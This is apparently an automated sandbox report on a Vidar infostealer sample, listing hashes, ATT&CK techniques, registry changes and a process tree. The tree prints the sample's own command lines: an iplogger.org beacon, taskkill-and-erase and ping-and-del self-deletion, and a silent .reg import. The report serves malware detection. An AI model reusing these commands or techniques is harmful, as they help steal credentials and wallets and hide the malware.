vidar | 4b3bed149062abeddef6fe68cbb439f5ae3d3044a4870a125f83dfd37c34ca6c

Analysis

max time kernel
146s
max time network
137s
platform
windows7_x64
resource
win7v200722
submitted
31-07-2020 10:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f24873db74e421aea902858fc094c601.exe
Size

589KB
MD5

f24873db74e421aea902858fc094c601
SHA1

fefb3fb2abbb7847badffed0f9fad5a2b922b963
SHA256

4b3bed149062abeddef6fe68cbb439f5ae3d3044a4870a125f83dfd37c34ca6c
SHA512

7a3eebf9d10877bab9ae2995b116342c44f27bd37d59541442ff107e5550a88eddf6176b0a288c12685660cbeff44bd5849e4d163d66e3fa0af062903cb06d41

Score

10^/10

stealer vidar spyware discovery

Malware Config

Signatures

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Executes dropped EXE 4 IoCs

Processes:

wotsuper.exewotsuper1.exee7f955ba..exee7f955ba..exe

pid process

836 wotsuper.exe
1036 wotsuper1.exe
568 e7f955ba..exe
1804 e7f955ba..exe

pid	process
836	wotsuper.exe
1036	wotsuper1.exe
568	e7f955ba..exe
1804	e7f955ba..exe

Loads dropped DLL 11 IoCs

Processes:

f24873db74e421aea902858fc094c601.exewotsuper.exewotsuper1.exee7f955ba..exee7f955ba..exe

pid	process
844	f24873db74e421aea902858fc094c601.exe
844	f24873db74e421aea902858fc094c601.exe
844	f24873db74e421aea902858fc094c601.exe
836	wotsuper.exe
836	wotsuper.exe
836	wotsuper.exe
836	wotsuper.exe
1036	wotsuper1.exe
1036	wotsuper1.exe
568	e7f955ba..exe
1804	e7f955ba..exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
JavaScript code in executable 1 IoCs

Processes:

resource yara_rule

\ProgramData\nss3.dll js
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

24 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

e7f955ba..exe

description pid process target process

PID 568 set thread context of 1804 568 e7f955ba..exe e7f955ba..exe

resource	yara_rule
\ProgramData\nss3.dll	js

flow	ioc
24	ip-api.com

description	pid	process	target process
PID 568 set thread context of 1804	568	e7f955ba..exe	e7f955ba..exe

Drops file in Program Files directory 4 IoCs

Processes:

f24873db74e421aea902858fc094c601.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe	f24873db74e421aea902858fc094c601.exe
File opened for modification	C:\Program Files (x86)\wotsuper\wotsuper\Uninstall.exe	f24873db74e421aea902858fc094c601.exe
File created	C:\Program Files (x86)\wotsuper\wotsuper\Uninstall.ini	f24873db74e421aea902858fc094c601.exe
File opened for modification	C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe	f24873db74e421aea902858fc094c601.exe

Drops file in Windows directory 1 IoCs

Processes:

f24873db74e421aea902858fc094c601.exe

description ioc process

File opened for modification C:\Windows\wotsuper.reg f24873db74e421aea902858fc094c601.exe

description	ioc	process
File opened for modification	C:\Windows\wotsuper.reg	f24873db74e421aea902858fc094c601.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wotsuper.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wotsuper.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wotsuper.exe

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1052 taskkill.exe

pid	process
1052	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000004183579d8c208a459c82062b1c0c5bf900000000020000000000106600000001000020000000c128e6cd9923f93d91c022dcd45e45a226d69c4c65d7dcfb47252062648a64e3000000000e80000000020000200000005e3675f632df33ddafcdd057ec96e4e51ecf634e9a5598d19058f38ccbbb41f3200000008ac876128de76774895b7d7cfadef7c4a351d586c4625e6ff4dd1c877bc3daf6400000001043c1b3fc218c44cfd83241ef36ca5c1c5d6f3b8cdf1bef2d0efc22096be490be804dfd6bb6bef6390ee0db3e6ea8071cdca8b8985f8012d29936a4db2dd7b8	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{AC6CDE01-D325-11EA-BEC9-CE26F9B67223} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "302961912"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000004183579d8c208a459c82062b1c0c5bf900000000020000000000106600000001000020000000f0c7346595b14ef6ed939ebb5803122b8d1393e6c1b8a6e7927309950ecf0e97000000000e80000000020000200000006ea88b7f587c98ed0fcc5261e38e619b932bb15a58efd93b2a4d0888f64d961b90000000fb9e4783e14cbe1ff6620cd4c1068d4e867d497a56e412b3ca40e542f2e4ea6277d599a1c3d02e3702e45a353d468c467d48acbd10e43c0fdea9ff263a9fa0fc597f18e2bd860732b3fe77ddb14cdf5cdbd0fde175c8e445e3d3fd93ceecdd75f0cf493b47d6727dff9e83d580767e28fa96017ba36a197791bbbc666fce58c86b43fb99a28e4cca9ada9b9bd0c8e89c4000000021605b42f379b14b2f2cf057e38ce008aa47080b8a28d801220049b0c6747067fbac359ba5eadd5d490c042a68c02bc84679da5791a5da905efd6b504cf089d9	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f0e0f0853267d601	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe

Modifies data under HKEY_USERS 19 IoCs

Processes:

wotsuper1.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	wotsuper1.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings	wotsuper1.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	wotsuper1.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B0B3A07F-52FE-4CB4-B180-D347A88145E3}\WpadDecision = "0"	wotsuper1.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B0B3A07F-52FE-4CB4-B180-D347A88145E3}\32-e2-17-db-d2-77	wotsuper1.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecisionTime = 00af3e783267d601	wotsuper1.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	wotsuper1.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\MigrateProxy = "1"	wotsuper1.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	wotsuper1.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B0B3A07F-52FE-4CB4-B180-D347A88145E3}	wotsuper1.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77	wotsuper1.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecision = "0"	wotsuper1.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	wotsuper1.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	wotsuper1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B0B3A07F-52FE-4CB4-B180-D347A88145E3}\WpadNetworkName = "Network"	wotsuper1.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecisionReason = "1"	wotsuper1.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B0B3A07F-52FE-4CB4-B180-D347A88145E3}\WpadDecisionReason = "1"	wotsuper1.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B0B3A07F-52FE-4CB4-B180-D347A88145E3}\WpadDecisionTime = 00af3e783267d601	wotsuper1.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDetectedUrl	wotsuper1.exe

Runs .reg file with regedit 1 IoCs

Processes:

regedit.exe

pid process

1540 regedit.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

660 PING.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

wotsuper.exewotsuper1.exe

pid process

836 wotsuper.exe
836 wotsuper.exe
836 wotsuper.exe
1036 wotsuper1.exe
836 wotsuper.exe
1036 wotsuper1.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

taskkill.exewotsuper1.exe

description pid process

Token: SeDebugPrivilege 1052 taskkill.exe
Token: SeDebugPrivilege 1036 wotsuper1.exe
Token: SeCreateTokenPrivilege 1036 wotsuper1.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

1012 iexplore.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

1012 iexplore.exe
1012 iexplore.exe
1524 IEXPLORE.EXE
1524 IEXPLORE.EXE
1524 IEXPLORE.EXE
1524 IEXPLORE.EXE

pid	process
1540	regedit.exe

pid	process
660	PING.EXE

pid	process
836	wotsuper.exe
836	wotsuper.exe
836	wotsuper.exe
1036	wotsuper1.exe
836	wotsuper.exe
1036	wotsuper1.exe

description	pid	process
Token: SeDebugPrivilege	1052	taskkill.exe
Token: SeDebugPrivilege	1036	wotsuper1.exe
Token: SeCreateTokenPrivilege	1036	wotsuper1.exe

pid	process
1012	iexplore.exe

pid	process
1012	iexplore.exe
1012	iexplore.exe
1524	IEXPLORE.EXE
1524	IEXPLORE.EXE
1524	IEXPLORE.EXE
1524	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 47 IoCs

Processes:

f24873db74e421aea902858fc094c601.exeiexplore.exewotsuper.execmd.exewotsuper1.execmd.exee7f955ba..exe

description	pid	process	target process
PID 844 wrote to memory of 1012	844	f24873db74e421aea902858fc094c601.exe	iexplore.exe
PID 844 wrote to memory of 1012	844	f24873db74e421aea902858fc094c601.exe	iexplore.exe
PID 844 wrote to memory of 1012	844	f24873db74e421aea902858fc094c601.exe	iexplore.exe
PID 844 wrote to memory of 1012	844	f24873db74e421aea902858fc094c601.exe	iexplore.exe
PID 844 wrote to memory of 836	844	f24873db74e421aea902858fc094c601.exe	wotsuper.exe
PID 844 wrote to memory of 836	844	f24873db74e421aea902858fc094c601.exe	wotsuper.exe
PID 844 wrote to memory of 836	844	f24873db74e421aea902858fc094c601.exe	wotsuper.exe
PID 844 wrote to memory of 836	844	f24873db74e421aea902858fc094c601.exe	wotsuper.exe
PID 844 wrote to memory of 1036	844	f24873db74e421aea902858fc094c601.exe	wotsuper1.exe
PID 844 wrote to memory of 1036	844	f24873db74e421aea902858fc094c601.exe	wotsuper1.exe
PID 844 wrote to memory of 1036	844	f24873db74e421aea902858fc094c601.exe	wotsuper1.exe
PID 844 wrote to memory of 1036	844	f24873db74e421aea902858fc094c601.exe	wotsuper1.exe
PID 844 wrote to memory of 1540	844	f24873db74e421aea902858fc094c601.exe	regedit.exe
PID 844 wrote to memory of 1540	844	f24873db74e421aea902858fc094c601.exe	regedit.exe
PID 844 wrote to memory of 1540	844	f24873db74e421aea902858fc094c601.exe	regedit.exe
PID 844 wrote to memory of 1540	844	f24873db74e421aea902858fc094c601.exe	regedit.exe
PID 1012 wrote to memory of 1524	1012	iexplore.exe	IEXPLORE.EXE
PID 1012 wrote to memory of 1524	1012	iexplore.exe	IEXPLORE.EXE
PID 1012 wrote to memory of 1524	1012	iexplore.exe	IEXPLORE.EXE
PID 1012 wrote to memory of 1524	1012	iexplore.exe	IEXPLORE.EXE
PID 836 wrote to memory of 624	836	wotsuper.exe	cmd.exe
PID 836 wrote to memory of 624	836	wotsuper.exe	cmd.exe
PID 836 wrote to memory of 624	836	wotsuper.exe	cmd.exe
PID 836 wrote to memory of 624	836	wotsuper.exe	cmd.exe
PID 624 wrote to memory of 1052	624	cmd.exe	taskkill.exe
PID 624 wrote to memory of 1052	624	cmd.exe	taskkill.exe
PID 624 wrote to memory of 1052	624	cmd.exe	taskkill.exe
PID 624 wrote to memory of 1052	624	cmd.exe	taskkill.exe
PID 1036 wrote to memory of 568	1036	wotsuper1.exe	e7f955ba..exe
PID 1036 wrote to memory of 568	1036	wotsuper1.exe	e7f955ba..exe
PID 1036 wrote to memory of 568	1036	wotsuper1.exe	e7f955ba..exe
PID 1036 wrote to memory of 568	1036	wotsuper1.exe	e7f955ba..exe
PID 1036 wrote to memory of 1624	1036	wotsuper1.exe	cmd.exe
PID 1036 wrote to memory of 1624	1036	wotsuper1.exe	cmd.exe
PID 1036 wrote to memory of 1624	1036	wotsuper1.exe	cmd.exe
PID 1036 wrote to memory of 1624	1036	wotsuper1.exe	cmd.exe
PID 1624 wrote to memory of 660	1624	cmd.exe	PING.EXE
PID 1624 wrote to memory of 660	1624	cmd.exe	PING.EXE
PID 1624 wrote to memory of 660	1624	cmd.exe	PING.EXE
PID 1624 wrote to memory of 660	1624	cmd.exe	PING.EXE
PID 568 wrote to memory of 1804	568	e7f955ba..exe	e7f955ba..exe
PID 568 wrote to memory of 1804	568	e7f955ba..exe	e7f955ba..exe
PID 568 wrote to memory of 1804	568	e7f955ba..exe	e7f955ba..exe
PID 568 wrote to memory of 1804	568	e7f955ba..exe	e7f955ba..exe
PID 568 wrote to memory of 1804	568	e7f955ba..exe	e7f955ba..exe
PID 568 wrote to memory of 1804	568	e7f955ba..exe	e7f955ba..exe
PID 568 wrote to memory of 1804	568	e7f955ba..exe	e7f955ba..exe

C:\Users\Admin\AppData\Local\Temp\f24873db74e421aea902858fc094c601.exe
"C:\Users\Admin\AppData\Local\Temp\f24873db74e421aea902858fc094c601.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:844

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/1vncg7.html
2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1012

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1012 CREDAT:275457 /prefetch:2
3⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1524

C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe
"C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:836

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im wotsuper.exe /f & erase C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:624

C:\Windows\SysWOW64\taskkill.exe
taskkill /im wotsuper.exe /f
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1052

C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe
"C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1036

C:\Users\Admin\AppData\Local\Temp\e7f955ba..exe
"C:\Users\Admin\AppData\Local\Temp\e7f955ba..exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:568

C:\Users\Admin\AppData\Local\Temp\e7f955ba..exe
"C:\Users\Admin\AppData\Local\Temp\e7f955ba..exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1804

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:1624

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
4⤵
- Runs ping.exe
PID:660

C:\Windows\SysWOW64\regedit.exe
"C:\Windows\System32\regedit.exe" \s C:\Windows\wotsuper.reg
2⤵
- Runs .reg file with regedit
PID:1540

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Remote System Discovery

T1018

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe
MD5
befcd9935633f7417e28f2660d676365

SHA1
c293d06c991fde8c562b898472a318b0afa067e9

SHA256
de6bbc1648a408ff79f5c7e48c25e0095251ecb0fde4ad88fd94adb6d03710b7

SHA512
03d34c622fdcc100832831d24eec3e1f8bc65ed22ab160bf032895fc18aebe0e66d403e380705207b7ed001215d7801f0d95af464f72108333e304a5837b828d

Download Submit
C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe
MD5
af02993e4d8295307595bff5e81201e4

SHA1
4160f3cd2d679eafa094846fc93f21bea42b3ce6

SHA256
8c598b6302b02cb44597c0788e479db8e2190bc981786036e4019921bf27d5c2

SHA512
05beaaf611d9b528c68a9882a7994d6b91f71a3946fd66ba24812f59390f783054d7e028b11b3851d2e926f5cd15c5f8470b5ba8ec4b43cd4bfa90e0faedadc1

Download Submit
C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe
MD5
af02993e4d8295307595bff5e81201e4

SHA1
4160f3cd2d679eafa094846fc93f21bea42b3ce6

SHA256
8c598b6302b02cb44597c0788e479db8e2190bc981786036e4019921bf27d5c2

SHA512
05beaaf611d9b528c68a9882a7994d6b91f71a3946fd66ba24812f59390f783054d7e028b11b3851d2e926f5cd15c5f8470b5ba8ec4b43cd4bfa90e0faedadc1

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
MD5
884c7b9e20d1315701bcdb1109a1e8c1

SHA1
9317b8ee2738857df354c935e53bd7c53851f02a

SHA256
d26c9541f17614b674882b7358d0f1b73080a119c4d7abe1230594f88d278865

SHA512
7b7d13a39c040b46cc431f3acaab5934a81590950c532d39a7c739c58d3713ced5378a13cc586cb64e7a2c28c4414ca781da0a0ef7f7de84fb081dbaea6e01d0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\vvur1wv\imagestore.dat
MD5
8df3f6837119e9c5ce9667641374a382

SHA1
aac60be24a0704e83d5e33eaddf31348f3eff641

SHA256
c54c4264189eae406720fac5e029bd6f4f2d3f7c3e477e0a7fd3c047372b7d4c

SHA512
efa862088a81d526fab6e1fe1c411048a25f40e49375b8061f67f9fffdfd50069013eb6d43136c7e9eaab6a307e0ece05e36e0a22b2c7f17b9dcaf2b8752c7c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\e7f955ba..exe
MD5
d9a97096753da9101e89efe264834629

SHA1
bef5989964ecc57613554049b76086d99d4207f0

SHA256
2afb9e882933b951a803e82694e39249e51e0ec987212edc46f261240dad76b6

SHA512
4d29505235883ec980acdd62a5de049f6ae1209102c0658a70a06c0ffa7da59b312f619c9db3739da412a515b04813a09b0737d7bf64df1c8483083b01b413e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\e7f955ba..exe
MD5
d9a97096753da9101e89efe264834629

SHA1
bef5989964ecc57613554049b76086d99d4207f0

SHA256
2afb9e882933b951a803e82694e39249e51e0ec987212edc46f261240dad76b6

SHA512
4d29505235883ec980acdd62a5de049f6ae1209102c0658a70a06c0ffa7da59b312f619c9db3739da412a515b04813a09b0737d7bf64df1c8483083b01b413e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\e7f955ba..exe
MD5
d9a97096753da9101e89efe264834629

SHA1
bef5989964ecc57613554049b76086d99d4207f0

SHA256
2afb9e882933b951a803e82694e39249e51e0ec987212edc46f261240dad76b6

SHA512
4d29505235883ec980acdd62a5de049f6ae1209102c0658a70a06c0ffa7da59b312f619c9db3739da412a515b04813a09b0737d7bf64df1c8483083b01b413e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\1ESW0JO0.txt
MD5
60bdb2608c20914eb3940696194002c3

SHA1
8b83cb3c64ea0bae088439853031bbe73d13c46e

SHA256
53e226bcf8731a22dcc130510f440155533729898b3d6ddd6cdbe244478056d1

SHA512
dc876b7dbabf03b2176d1e0d8198479aa3250e17d3e329d906052ad14c55b59c259e1e8431d7dd36a8d3e6e1f52dfb5e440328db836e0d3dfd5ce57320ce55fb

Download Submit
\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe
MD5
befcd9935633f7417e28f2660d676365

SHA1
c293d06c991fde8c562b898472a318b0afa067e9

SHA256
de6bbc1648a408ff79f5c7e48c25e0095251ecb0fde4ad88fd94adb6d03710b7

SHA512
03d34c622fdcc100832831d24eec3e1f8bc65ed22ab160bf032895fc18aebe0e66d403e380705207b7ed001215d7801f0d95af464f72108333e304a5837b828d

Download Submit
\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe
MD5
befcd9935633f7417e28f2660d676365

SHA1
c293d06c991fde8c562b898472a318b0afa067e9

SHA256
de6bbc1648a408ff79f5c7e48c25e0095251ecb0fde4ad88fd94adb6d03710b7

SHA512
03d34c622fdcc100832831d24eec3e1f8bc65ed22ab160bf032895fc18aebe0e66d403e380705207b7ed001215d7801f0d95af464f72108333e304a5837b828d

Download Submit
\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe
MD5
af02993e4d8295307595bff5e81201e4

SHA1
4160f3cd2d679eafa094846fc93f21bea42b3ce6

SHA256
8c598b6302b02cb44597c0788e479db8e2190bc981786036e4019921bf27d5c2

SHA512
